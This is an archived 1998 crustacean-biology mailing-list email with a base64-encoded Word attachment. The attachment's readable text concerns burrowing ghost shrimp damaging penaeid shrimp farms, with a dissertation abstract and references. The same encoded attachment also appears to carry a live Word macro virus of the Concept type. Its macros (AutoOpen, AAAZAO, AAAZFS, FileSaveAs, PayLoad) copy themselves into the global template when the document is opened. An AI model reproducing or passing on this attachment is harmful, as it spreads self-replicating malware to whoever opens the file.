=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Sergio F. Nates" Date: Tue, 20 Jan 1998 20:28:27 -0600 Subject: CRUST-L: Shrimp farm problem - --=====================_885371307==_ Content-Type: text/plain; charset="us-ascii" To Sergio Escutia et al.: For those interested in the shrimp farm problem please check attached file. Cheers, Sergio. - --=====================_885371307==_ Content-Type: application/msword; name="shrimp_farm.doc"; x-mac-type="42494E41"; x-mac-creator="4D535744" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="shrimp_farm.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAFwAAAAAAAAAA EAAAGAAAAAEAAAD+////AAAAABYAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////c pWgAV+AJBAAAAQBlAAAAAAAAAAAAAAAAAwAAYBQAAPwqAAAAAAAAAAAAAAAAAAAAAAAAYBEAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAGoAAAAAIgAAagAAAGoiAAAAAAAAaiIA AAAAAABqIgAAAAAAAGoiAAAAAAAAaiIAABQAAACkIgAAAAAAAKQiAAAAAAAApCIAAAAAAACkIgAA AAAAAKQiAAAAAAAApCIAAAoAAACuIgAACgAAAKQiAAAAAAAABioAAD8AAAC4IgAAAAAAALgiAAAA AAAAuCIAAAAAAAC4IgAAAAAAALgiAAAAAAAAuCIAAAAAAAC4IgAAAAAAALgiAAAAAAAAVCcAAL0A AAARKAAAAAAAABEoAAAAAAAAESgAAC8AAABAKAAA1AAAABQpAADUAAAA6CkAAB4AAABFKgAAWAAA AJ0qAABfAAAABioAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaiIAAAAAAAC4IgAAAAAAAAAADwAQAAEA AQC4IgAAAAAAALgiAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgiAAAAAAAAuCIAAAAAAAAGKgAAAAAA ADYnAAAAAAAAaiIAAAAAAABqIgAAAAAAALgiAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgiAAAAAAAA NicAAAAAAAA2JwAAAAAAADYnAAAAAAAAuCIAAH4EAABqIgAAAAAAALgiAAAAAAAAaiIAAAAAAAC4 IgAAAAAAAFQnAAAAAAAAAAAAAAAAAABAjHV6Eya9AX4iAAAOAAAAjCIAABgAAABqIgAAAAAAAGoi AAAAAAAAaiIAAAAAAABqIgAAAAAAALgiAAAAAAAAVCcAAAAAAAA2JwAAHgAAADYnAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUbyB0aG9zZSBpbnRlcmVzdGVkIGluIGJ1cnJvd2lu ZyBzaHJpbXAgYW5kIHNocmltcCBmYXJtaW5nOg0NVGhlIGZpcnN0IGtub3duIGNhc2UgaW4gdGhl IE5ldyBXb3JsZCB3aGVyZSBhIHRoYWxhc3NpbmlkIHdhcyBwcm9wb3NlZCBhcyBwb3RlbnRpYWxs eSBhZmZlY3RpbmcgcGVuYWVpZCBzaHJpbXAgbWFyaWN1bHR1cmUgd2FzIHJlcG9ydGVkIGJ5IExl bWFpdHJlIGFuZCBSb2RyaWd1ZXMgKDE5OTEpLiAgRGVzcGl0ZSBhbiBleHRlbnNpdmUgbGl0ZXJh dHVyZSBwdWJsaXNoZWQgb24gY2FsbGlhbmFzc2lkIGJ1cnJvdyBhcmNoaXRlY3R1cmUsIGVzdGlt YXRlcyBvZiBzZWRpbWVudCB0dXJub3ZlciByYXRlcywgYnVycm93IGR5bmFtaWNzLCBhbmQgd2F0 ZXIgYmlvZ2VvY2hlbWlzdHJ5LCB0aGVyZSBpcyBsaXR0bGUgaW5mb3JtYXRpb24gb24gdGhlIGVj b2xvZ3kgYW5kIGJ1cnJvd2luZyBoYWJpdHMgb2Ygc3BlY2llcyBpbmhhYml0aW5nIHNocmltcCBw b25kcy4NDQlUaGUgdGV4dCBiZWxvdyBpcyBjb3B5IG9mIHRoZSBhYnN0cmFjdCBvZiB0aGUgdGhp cmQgY2hhcHRlciBvZiBteSBkaXNzZXJ0YXRpb24uIFRoaXMgY2hhcHRlciBpcyBpbiBwcmVzcyBh bmQgd2lsbCBiZSBwdWJsaXNoZWQgaW4gdGhlIEpvdXJuYWwgb2YgdGhlIFdvcmxkIEFxdWFjdWx0 dXJlIFNvY2lldHk6DQ0Jk1RoZSBidXJyb3dpbmcgZ2hvc3Qgc2hyaW1wcyBMZXBpZG9waHRoYWxt dXMgc2ludWVuc2lzICBMZW1haXRyZSBhbmQgUm9kcmlndWVzLCAxOTkxLCBhbmQgTGVwaWRvcGh0 aGFsbXVzIGJvY291cnRpICAoQS4gTWlsbmUgRWR3YXJkcywgMTg3MCksIGhhdmUgYSBzaWduaWZp Y2FudCBpbXBhY3Qgb24gcG9uZC1iYXNlZCBjdWx0dXJlIG9mIHBlbmFlaWQgc2hyaW1wLiAgTWFy a2VkIGF0dGVudWF0aW9uIG9mIHRoZSBsYXJ2YWwgY3ljbGUsIGFuIGFkYXB0YXRpb24gZm9yIGVz dHVhcmluZSByZXRlbnRpb24gaW4gd2lsZCBwb3B1bGF0aW9ucywgZmF2b3JzIGFjY3VtdWxhdGlv biBvZiByZWNydWl0cyBpbnRvIHRoZSBzYW1lIHN1YnN0cmF0ZXMgYXMgdGhlIHBhcmVudGFsIHBv cHVsYXRpb24gYW5kIGFsbG93cyBkZW5zaXRpZXMgb2YgdGhlc2UgYnVycm93ZXJzIHRvIHNvbWV0 aW1lcyBleGNlZWQgNjUwIGluZGl2aWR1YWxzL20yLiAgUmFwaWQgY29sb25pemF0aW9uIG9mIGdy b3ctb3V0IHBvbmQgYm90dG9tcyBzdWdnZXN0cyByZWxhdGlvbnNoaXBzIHRvIHNlY29uZGFyeSBw cm9kdWN0aW9uIHRoYXQgbWF5IGFsc28gYXBwbHkgaW4gbmF0dXJhbCBlc3R1YXJpbmUgc2V0dGlu Z3MuIEhpZ2hlciBkZW5zaXRpZXMgb2YgYnVycm93aW5nIHNocmltcCBhcHBlYXIgdG8gY29ycmVs YXRlIHdpdGggbG93ZXIgeWllbGRzIGJlY2F1c2Ugb2YgYm90aCBveHlnZW4gcmVxdWlyZW1lbnRz IGJ5IHRoZSB0aGFsYXNzaW5pZHMgYW5kIGJpb3R1cmJhdGlvbiBlZmZlY3RzLiAgUmljaCBzb3Vy Y2VzIG9mIG9yZ2FuaWMgbWF0ZXJpYWxzIGluIGhpZ2hseSByZWR1Y2VkIHBvbmQgc3Vic3RyYXRl cyBjYW4gYmUgcmVhZGlseSBleHBsb2l0ZWQgYnkgTGVwaWRvcGh0aGFsbXVzIHNwZWNpZXMgYmVj YXVzZSBvZiB0aGVpciBwaHlzaW9sb2dpY2FsIGFkYXB0YXRpb25zIHRvIGh5cG94aWEgYW5kIGFu b3hpYS4gIEJpb3R1cmJhdGlvbiBhbmQgdmVudGlsYXRvcnkgbW92ZW1lbnQgb2Ygd2F0ZXIgdGhy b3VnaCBidXJyb3dlZCBzZWRpbWVudHMgYnkgZ2hvc3Qgc2hyaW1wcyBtb3ZlcyByZWR1Y2VkIG51 dHJpZW50cyBpbnRvIHRoZSB3YXRlciBjb2x1bW4gd2l0aCBwb3RlbnRpYWwgdG94aWMgZWZmZWN0 cyBvbiBwZW5hZWlkcy4gIFVsdGltYXRlbHksIGFjdGl2aXRpZXMgb2YgdGhlc2UgZXN0dWFyaW5l IGJ1cnJvd2VycyBveGlkaXplIGJlbnRoaWMgc2VkaW1lbnRzIGFuZCBjeWNsZSBudXRyaWVudHMg aW50byB0aGUgd2F0ZXIgY29sdW1uLCB0aGUgbmVnYXRpdmUgaW1wYWN0cyBvZiB3aGljaCBhcmUg cHJvYmFibHkgcmVzdHJpY3RlZCB0byBhcXVhY3VsdHVyZSBzZXR0aW5ncy6UDQ0JSW4gYWRkaXRp b24gdG8gdGhlc2Ugc3BlY2llcyB0aGF0IHdlIGhhdmUgZm91bmQgaW4gc2hyaW1wIGZhcm1zIGlu IEVjdWFkb3IsIENvbG9tYmlhIChQYWNpZmljIGFuZCBDYXJpYmJlYW4gY29hc3QpLCBWZW5lenVl bGEsIFBhbmFtYSwgQ29zdGEgUmljYSBhbmQgR3VhdGVtYWxhLCB0aGVyZSBpcyBhIGFub3RoZXIg Z3JvdXAgb2YgdGhhbGFzc2luaWRzIHRoYXQgYmVsb25nIHRvIHRoZSBnZW51cyBVcG9nZWJpYSAo d2UgaGF2ZSBpZGVudGlmaWVkIHRocmVlIHNwZWNpZXMpIHRoYXQgY2FuIGNhdXNlIHNvbWUgZGFt YWdlIHRvIGZhcm0gb3BlcmF0aW9ucy4gIE1vc3Qgb2YgdGhlIGxpdGVyYXR1cmUgcmVsYXRlZCB0 byB0aGVzZSBhbmltYWxzIGFuZCB0aGVpciBpbXBhY3Qgb24gc2hyaW1wIGN1bHR1cmUgaGFzIGJl ZW4gcHVibGlzaGVkIGJ5IHBlb3BsZSB3b3JraW5nIGluIG91ciBsYWIuICBUaGlzIGlzIGEgc2hv cnQgbGlzdCBvZiBzZXZlcmFsIHJlZmVyZW5jZXM6DQ1GZWxkZXIsIEQuIEwuLCBTLiBGLiBOYXRl cyBhbmQgRC4gVy4gRHVob24uICAxOTk1LiAgSW52YXNpb24gYW5kIGNvbG9uaXphdGlvbiBvZiB0 cm9waWNhbCAJcGVuYWVpZCBzaHJpbXAgZmFybXMgYnkgdGhhbGFzc2luaWQgbXVkc2hyaW1wOiBU aGUgZWNvbG9naWNhbCBzY2VuYXJpbyBhbmQgCWJpb2dlb2NoZW1pY2FsIGNvbnNlcXVlbmNlcy4g IFBhZ2VzIDI0MC0yNDEgaW4gQy4gTC4gQnJvd2R5IGFuZCBKLiBTLiBIb3BraW5zLCAJZWRzLiwg IFN3aW1taW5nIHRocm91Z2ggdHJvdWJsZWQgd2F0ZXJzOiBQcm9jZWVkaW5ncyBvZiB0aGUgc3Bl Y2lhbCBzZXNzaW9uIG9uIAlzaHJpbXAgCWZhcm1pbmcsIEFxdWFjdWx0dXJlIJI5NS4gIFRoZSBX b3JsZCBBcXVhY3VsdHVyZSBTb2NpZXR5LCBCYXRvbiBSb3VnZSwgCUxvdWlzaWFuYSwgICBVU0Eu DQ1MZW1haXRyZSwgUi4gYW5kIFMuIGRlIEEuIFJvZHJpZ3Vlcy4gIDE5OTEuICBMZXBpZG9waHRo YWxtdXMgc2ludWVuc2lzOiBBIG5ldyBzcGVjaWVzIG9mIAlnaG9zdCBzaHJpbXAgKERlY2Fwb2Rh OiBUaGFsYXNzaW5pZGVhOiBDYWxsaWFuYXNzaWRhZSkgb2YgaW1wb3J0YW5jZSB0byB0aGUgCWNv bW1lcmNpYWwgY3VsdHVyZSBvZiBwZW5hZWlkIHNocmltcHMgb24gdGhlIENhcmliYmVhbiBjb2Fz dCBvZiBDb2xvbWJpYSwgd2l0aCAJb2JzZXJ2YXRpb25zIG9uIGl0cyBlY29sb2d5LiBGaXNoZXJ5 ICBCdWxsZXRpbiAgODk6NjIzLTYzMC4NDU5hdGVzLCBTLiBGLiAgKDE5OTUpLiAgUG9wdWxhdGlv biBkeW5hbWljcyBhbmQgZWNvbG9naWNhbCBpbXBhY3RzIG9mIHRoZSBtdWRzaHJpbXAgZ2VudXMJ TGVwaWRvcGh0aGFsbXVzIChDcnVzdGFjZWEsIERlY2Fwb2RhLCBUaGFsYXNzaW5pZGVhKSBpbmhh Yml0aW5nIFBlbmFlaWQgc2hyaW1wICAgICANYXF1YWN1bHR1cmUgcG9uZHMuICBVbml2ZXJzaXR5 IG9mIFNvdXRod2VzdGVybiBMb3Vpc2lhbmEsIERpc3NlcnRhdGlvbiwgMTQ0IHBwLg0NTmF0ZXMs IFMuIEYuLCBhbmQgRC4gTC4gRmVsZGVyLiAgKGluIHByZXNzKS4gIFBvcHVsYXRpb24gZHluYW1p Y3MgYW5kIGVjb2xvZ2ljYWwgaW1wYWN0cyBvZiAJdGhlIGJ1cnJvd2luZyBtdWRzaHJpbXAsIExl cGlkb3BodGhhbG11cyBvbiBwZW5hZWlkIHNocmltcCBhcXVhY3VsdHVyZSBwb25kcy4gIAlKb3Vy bmFsIFdvcmxkIEFxdWFjdWx0dXJlIFNvY2lldHkuDQ1OYXRlcywgUy4gRi4gYW5kIEQuIEwuIEZl bGRlci4gIChTdWJtaXR0ZWQpLiAgUmVsYXRpdmUgZ3Jvd3RoIGFuZCBzZXh1YWwgbWF0dXJhdGlv biBvZiB0aGUgCWJ1cnJvd2luZyBtdWRzaHJpbXAgTGVwaWRvcGh0aGFsbXVzIHNpbnVlbnNpcyBM ZW1haXRyZSBhbmQgUm9kcmlndWVzLCAxOTkxIAkoQ3J1c3RhY2VhLCBEZWNhcG9kYSwgQ2FsbGlh bmFzc2lkYWUpLiAgRmlzaGVyeSBCdWxsZXRpbi4NDU5hdGVzLCBTLiBGLiwgRC4gTC4gRmVsZGVy IGFuZCBSLiBMZW1haXRyZS4gICgxOTk3KS4gIENvbXBhcmF0aXZlIGxhcnZhbCBkZXZlbG9wbWVu dCBhbW9uZyAJdHdvIHNwZWNpZXMgb2YgYnVycm93aW5nIG11ZHNocmltcCwgZ2VudXMgTGVwaWRv cGh0aGFsbXVzIChDcnVzdGFjZWEsIAlEZWNhcG9kYSwgQ2FsbGlhbmFzc2lkYWUpLiAgSm91cm5h bCBvZiBDcnVzdGFjZWFuIEJpb2xvZ3kgMTcoMyk6IDQ5Ny01MTkNDU5hdGVzLCBTLiBGLiwgRC4g TC4gRmVsZGVyLCBSLiBMZW1haXRyZSwgUi4gQi4gR3JpZmZpcyBhbmQgUy4gZGUgQS4gUm9kcmln dWVzLiAxOTk0LiAgRWZmZWN0cyAJb2YgYnVycm93aW5nIGVzdHVhcmluZSBnaG9zdCBzaHJpbXAg b24gcGVuYWVpZCBhcXVhY3VsdHVyZS4gIFBhZ2UgODYgaW4gQm9vayAJb2YgQWJzdHJhY3RzIFdv cmxkIEFxdWFjdWx0dXJlIJI5NCwgVGhlIFdvcmxkIEFxdWFjdWx0dXJlIFNvY2lldHksIEJhdG9u IFJvdWdlLCAJTG91aXNpYW5hLCBVU0EuDQ0NDRoAoQEAlwCk0C+l4D2mCAenCAeooAWpoAWqAAAB AGQbaQRNQUlOZFIsLSppBUFib3J0ZFJpC2lNYWNyb0NvdW50DGe3gAVsAAASbAAABmRSax5zZWUg aWYgd2UncmUgYWxyZWFkeSBpbnN0YWxsZWRkUiNpAWkMbAEAJGkLaU1hY3JvQ291bnRkbwIdZ7iA BWkBaRJsAAASbAAABgxqB1BheUxvYWQeZG8DaQpiSW5zdGFsbGVkDAhsAQBkbwIaHWRvAh1nuIAF aQFpEmwAABJsAAAGDGoKRmlsZVNhdmVBcx5kbwNpD2JUb29NdWNoVHJvdWJsZQwIbAEAZG8CGh1k UiZpAWlkUh0CaQpiSW5zdGFsbGVkAwJpD2JUb29NdWNoVHJvdWJsZR5kbwJrNWFkZCBGaWxlU2F2 ZUFzIGFuZCBjb3BpZXMgb2YgQXV0b09wZW4gYW5kIEZpbGVTYXZlQXMuZG8CaxhQYXlMb2FkIGlz IGp1c3QgZm9yIGZ1bi5kbwJpDWlXVzZJSW5zdGFuY2UMZwaABWdNgQVqC1dXNkluZmVjdG9yBgZk bwJpBHNNZSQMZyWABQZkbwJpB3NNYWNybyQMaQRzTWUkB2oIOlBheWxvYWRkbwJnwoBpB3NNYWNy byQSag5HbG9iYWw6UGF5TG9hZGRvAmkHc01hY3JvJAxpBHNNZSQHagc6QUFBWkZTZG8CZ8KAaQdz TWFjcm8kEmoRR2xvYmFsOkZpbGVTYXZlQXNkbwJpB3NNYWNybyQMaQRzTWUkB2oHOkFBQVpGU2Rv AmfCgGkHc01hY3JvJBJqDUdsb2JhbDpBQUFaRlNkbwJpB3NNYWNybyQMaQRzTWUkB2oHOkFBQVpB T2RvAmfCgGkHc01hY3JvJBJqDUdsb2JhbDpBQUFaQU9kbwJnRoBqBFdXNkkSZweABWkNaVdXNklJ bnN0YW5jZQdsAQAGZG8CZyuAZweABWkNaVdXNklJbnN0YW5jZQdsAQAGZFIaHWUFQWJvcnQZZBob AQBkG2kETUFJTmRrM3RoaXMgYmVjb21lcyB0aGUgRmlsZVNhdmVBcyBmb3IgdGhlIGdsb2JhbCB0 ZW1wbGF0ZWQvaQNkbGc0Z1QAZCwtKmkEYmFpbGQ+aQNkbGdkP2kDZGxnZB1pA2RsZ3PLAAxsAAAe aQNkbGdzywAMbAEAZGkEc01lJAxnJYAFBmRpCHNUTWFjcm8kDGkEc01lJAdqCTpBdXRvT3BlbmRn woBqDUdsb2JhbDpBQUFaQU8SaQhzVE1hY3JvJGRpCHNUTWFjcm8kDGkEc01lJAdqBzpBQUFaQU9k Z8KAag1HbG9iYWw6QUFBWkFPEmkIc1RNYWNybyRkaQhzVE1hY3JvJAxpBHNNZSQHagc6QUFBWkZT ZGfCgGoNR2xvYmFsOkFBQVpGUxJpCHNUTWFjcm8kZGkIc1RNYWNybyQMaQRzTWUkB2oIOlBheUxv YWRkZ8KAag5HbG9iYWw6UGF5TG9hZBJpCHNUTWFjcm8kZGdUAGkDZGxnZCppBERvbmVkZQRCYWls GWQdaQNFcnINbGYAHmRSZ1QAaQNkbGdkGh1lBERvbmUZZBobAQBkG2kETUFJTmRScCAgVGhhdCdz IGVub3VnaCB0byBwcm92ZSBteSBwb2ludGQaGwEAZBtpBE1BSU5kUiwtKmkFQWJvcnRkUmkLaU1h Y3JvQ291bnQMZ7eABWwAABJsAAAGZFJrHnNlZSBpZiB3ZSdyZSBhbHJlYWR5IGluc3RhbGxlZGRS I2kBaQxsAQAkaQtpTWFjcm9Db3VudGRvAh1nuIAFaQFpEmwAABJsAAAGDGoHUGF5TG9hZB5kbwNp CmJJbnN0YWxsZWQMCGwBAGRvAhodZG8CHWe4gAVpAWkSbAAAEmwAAAYMagpGaWxlU2F2ZUFzHmRv A2kPYlRvb011Y2hUcm91YmxlDAhsAQBkbwIaHWRSJmkBaWRSHQJpCmJJbnN0YWxsZWQDAmkPYlRv b011Y2hUcm91YmxlHmRvAms1YWRkIEZpbGVTYXZlQXMgYW5kIGNvcGllcyBvZiBBdXRvT3BlbiBh bmQgRmlsZVNhdmVBcy5kbwJrGFBheUxvYWQgaXMganVzdCBmb3IgZnVuLmRvAmkNaVdXNklJbnN0 YW5jZQxnBoAFZ02BBWoLV1c2SW5mZWN0b3IGBmRvAmkEc01lJAxnJYAFBmRvAmkHc01hY3JvJAxp BHNNZSQHagg6UGF5bG9hZGRvAmfCgGkHc01hY3JvJBJqDkdsb2JhbDpQYXlMb2FkZG8CaQdzTWFj cm8kDGkEc01lJAdqBzpBQUFaRlNkbwJnwoBpB3NNYWNybyQSahFHbG9iYWw6RmlsZVNhdmVBc2Rv AmkHc01hY3JvJAxpBHNNZSQHagc6QUFBWkZTZG8CZ8KAaQdzTWFjcm8kEmoNR2xvYmFsOkFBQVpG U2RvAmkHc01hY3JvJAxpBHNNZSQHagc6QUFBWkFPZG8CZ8KAaQdzTWFjcm8kEmoNR2xvYmFsOkFB QVpBT2RvAmdGgGoEV1c2SRJnB4AFaQ1pV1c2SUluc3RhbmNlB2wBAAZkbwJnK4BnB4AFaQ1pV1c2 SUluc3RhbmNlB2wBAAZkUhodZQVBYm9ydBlkGhsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAATwUAAFcFAAC+BQAA zQUAAM4FAADXBQAA+wUAAAoGAAALBgAAEwYAAHcHAAB4BwAABwkAABYJAADECwAAzAsAANAMAADR DAAApQ0AAKcNAACpDgAAuA4AALkOAADCDgAACRAAABgQAADaEAAA3BAAACQRAAAzEQAA7xEAAP4R AAD/EQAACBIAAOgSAAD3EgAA8xMAAPUTAABgFAAALBwAAP36/fr3+v369/r99P36/fr98f36/fr3 +v36/fH9+v36/fr9+v36/e8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAnUBAAVVgV0DAAVdAwBoAQVWgV0DAAVdAwBeAQNdAwAAKAADAAA8AwAAPQMAAO0EAADu BAAAnwUAAKAFAADfCgAA4AoAANEMAADSDAAAew4AAHwOAACvDwAAsA8AAF0QAACtEAAArhAAAH4R AAB/EQAAYRIAAGISAABOEwAATxMAAF0UAABeFAAAXxQAAGAUAAD+AAHAIfAA+gABwCHwAPoABcAh 8ADzAAHAIfAA8wACwCHwAPMAAcAh8ADzABDAIfAA8wABwCHwAPMABsAh8AD+AAHAIfAA8wAGwCHw APMAAcAh8ADzAATAIfAA/gABwCHwAP4AAsAh8AD6AAHAIfAA/gABwCHwANEAA8Ah8ADzAAHAIfAA 8wADwCHwAPMAAcAh8ADzAAPAIfAA8wABwCHwAPMABMAh8ADzAAHAIfAA8wABwCHwAP4AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAhAAAsAQw0AAACOAoAAwAUAAEAaAEAAAAAAAAuIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA8FAAEw/QAAAAYAACwBDwUAATD9AAAAAwAAE9ACAAABAAAbDgAPAAgAAQBLAA8AAAAAABoA AEDx/wIAGgAGTm9ybWFsAAIAAAADAGEJBAAAAAAAAAAAAAAAAAAAAAAAAAAiAEFA8v+hACIAFkRl ZmF1bHQgUGFyYWdyYXBoIEZvbnQAAAAAAAAAAAAAAAAAAABgEQAABQBgFAAAAwD/////AgAEIP// AQACIP//AgAAAAAAfg4AAGARAAAAAAEAAAABAAAAAAAAAwAALBwAAA8AAAMAAGAUAAAQAAAAAABr AAAAdgAAAJ0AAACkAAAArAAAALcAAADIAAAA0AAAANUAAADeAAAAFQEAACEBAAB4AQAAhwEAAIoC AACVAgAAvgIAAM0CAADOAgAA1wIAANkCAADhAgAA5gIAAO8CAAD7AgAACgMAAAsDAAATAwAAGQMA AB4DAAAfAwAAJgMAAGIDAABpAwAArQMAALYDAABIBAAAUQQAAPUEAAD+BAAAfwUAAIsFAACQBQAA nAUAAAcGAAAWBgAATQYAAFQGAABiBgAAbgYAAHMGAAB+BgAACwcAABMHAAA2BwAAPwcAAEAHAABJ BwAAUgcAAFkHAADIBwAA0wcAAJ4IAACqCAAAxAgAAMwIAADSCQAA2AkAAOcJAADsCQAA9wkAAPwJ AAAtCgAANAoAAEUKAABQCgAAUQoAAFoKAAB5CgAAhwoAAK4KAAC0CgAAvwoAAMYKAAAqCwAANQsA AEYLAABRCwAAfAsAAIQLAACWCwAAnwsAAKkLAAC4CwAAuQsAAMILAADkCwAA7AsAAO4LAAD7CwAA /QsAAAsMAAA5DAAAQAwAALAMAAC1DAAA+QwAAAINAAAJDQAAGA0AABoNAAAjDQAAJQ0AAC0NAAAv DQAAPA0AAEkNAABQDQAAXQ0AAGgNAACuDQAAsw0AAMYNAADMDQAAGQ4AACIOAAAkDgAAMw4AADcO AAA+DgAARg4AAFEOAABpDgAAdA4AAH8OAACEDgAAlg4AAJwOAADlDgAA7g4AAO8OAAD+DgAA/w4A AAgPAAAJDwAAEQ8AABYPAAAfDwAAKA8AADEPAAAzDwAAOw8AAD0PAABLDwAAYg8AAGcPAAB2DwAA fA8AAIQPAACMDwAA1w8AAOAPAADoDwAA9w8AAPkPAAACEAAABRAAAA0QAAAPEAAAHRAAAE8QAABU EAAAYxAAAGkQAABuEAAAdhAAAH4QAACFEAAAkxAAAJwQAAC7EAAAxBAAANUQAADcEAAA3RAAAOgQ AAAPEQAAGhEAACoRAAA1EQAAYhEAAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAc AAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwA BwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAH ABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcA HAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAc AAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwA BwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAH ABwABwAeAAhTLiBOYXRlcxJBOlxzaHJpbXBfZmFybS5kb2P/AQQAVQAAAAEA//8YAwAA5gIAAAIA AAB8FAAAVQABAAIA///+BQAAswEAAAIAAABiFwAAVQACAAMA//+xBwAAMQAAAAIAAAAVGQAAVQAF AAAA//8YAwAA5gIAAAIAAABGGQAAECkACEF1dG9PcGVuAQAGQUFBWkFPAQAGQUFBWkZTAQAHUGF5 TG9hZAEAEQQAAAAGQUFBWkFPAAEABkFBQVpGUwACAAdQQVlMT0FEAAUACEFVVE9PUEVOAEBIUCBM YXNlckpldCBJSUkATFBUMToASFBQQ0w1TVMASFAgTGFzZXJKZXQgSUlJAEhQIExhc2VySmV0IElJ SQAAAAAAAAAAAAAAAAAAAAAAAAQBBJQAQAADZwAEAQABAAAAAAAAAAEAAQAsAQEAAQAsAQIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAAAAAAAAAAABAEAATVNVRE4DSFAgTGFzZXJKZXQgSUlJAAAAAAAAAAAAAAAA AAAAAACgAQAAAAAAAAAAAAAAAAAAZAAKAAAASFAgTGFzZXJKZXQgSUlJAAAAAAAAAAAAAAAAAAAA AAAABAEElABAAANnAAQBAAEAAAAAAAAAAQABACwBAQABACwBAgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAA AAAAAAEAQABNU1VETgNIUCBMYXNlckpldCBJSUkAAAAAAAAAAAAAAAAAAAAAAKABAAAAAAAAAAAA AAAAAABkAAoAAAADgAEAXxEAAF8RAAAHAAEAAQBfEQAAAAAAAF8RAAA/ABUWkAEAAFRpbWVzIE5l dyBSb21hbgAMFpABAgBTeW1ib2wACyaQAQAAQXJpYWwADSKQAQAAVW5pdmVycwAiAAQAcQiIGAAA 0AIAAGgBAAAAABalIUYWpSFGAAAAAAEAAAAAAIMCAABTDgAAAgAHAAAABACDEB4AAAAAAAAAAAAA AAIAAQAAAAEAAAAAAAAAJAMAAAAAXwAAADtUbyB0aG9zZSBpbnRlcmVzdGVkIGluIGJ1cnJvd2lu ZyBzaHJpbXAgYW5kIHNocmltcCBmYXJtaW5nOgAAAAhTLiBOYXRlcwhTLiBOYXRlcwAAAAAAAAAA AABjb21wYXJlIHF1YXJ0ZXJseSB2YXJpYXRpb25zIGluICB0aGUgZGlzdHJpYnV0aW9uIG9mIHBv cHVsYXRpb24gc2l6ZSBjb2hvcnRzIGFuZCBvdmlnZXJvdXMgZmVtYWxlcy4gIFRpbWVjb3Vyc2Ug 